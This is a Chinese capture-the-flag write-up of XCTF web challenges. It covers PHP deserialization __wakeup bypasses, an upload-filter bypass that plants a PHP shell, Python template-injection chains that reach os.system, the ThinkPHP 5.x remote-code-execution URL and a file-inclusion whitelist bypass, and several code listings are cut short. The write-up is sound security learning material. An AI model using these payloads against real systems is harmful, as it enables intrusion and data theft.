攻防世界Web进阶区部分writeup
因为疫情在家无聊,所以做一下攻防世界的题练练手
¶unserialize3
1 | class xctf{ |
一看就是反序列化但是当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数
之前在做CISCN的时候了解到当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
所以payload为?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
¶upload1
有前端的后缀校验
先改成jpg形式抓包再改成php 上传成功
放入蚁剑得到flag
¶Web_python_template_injection
输入http://111.198.29.45:57604/2
存在模版注入
''.__class__.__mro__[2].__subclasses__()
寻找可以调用的函数
1 | for item in ''.__class__.__mro__[2].__subclasses__(): |
找到包含os模块的函数
1 | 71 <class 'site._Printer'> |
这个包含os模块
得到payload
1 | ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') |
发现可能无法执行system函数
但是os模块里还有另外一个函数可以列目录 listdir
1 | {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}} |
直接调用第40个file函数读取flag即可
1 | {{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}} |
¶Web_php_unserialize
得到源代码
1 | <?php |
又是反序列化的题目
这里依然要绕过__wakeup 方法和上题一样
还要绕过preg_match匹配 这里是不能出现O:4这样的类型
绕过的方法就是把4变成+4
payload
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
¶php_rce
这个是运用thinkphp5.x rce的exp
index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
改一下payload就来了
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27
¶ics-06
简单题
查看源代码发现有index.php
id可以传参 用bp爆破到2333拿到flag
##warmup
右键源代码发现source.php
跟进拿到源码
1 | <?php |
hint.php在白名单里 传入hint读取一下hint的内容
目的很明确 就是要读取ffflllaaagggg这个文件
这里过滤的逻辑是这样
payload中必须包含一个白名单里的内容且不能用‘?’
代码中还进行了一次url的解码但是我们可以通过两次url编码进行绕过
注:这里可能有很多人会有疑问为什么要加’?’
index.php?file=xxx.txt?shell.php
看似包含的是xxx.txt其实包含的内容是shell.php 可以用此技巧来绕过检测
https://blog.csdn.net/Fly_hps/article/details/80926992这篇文章有详细的php文件包含的技巧讲解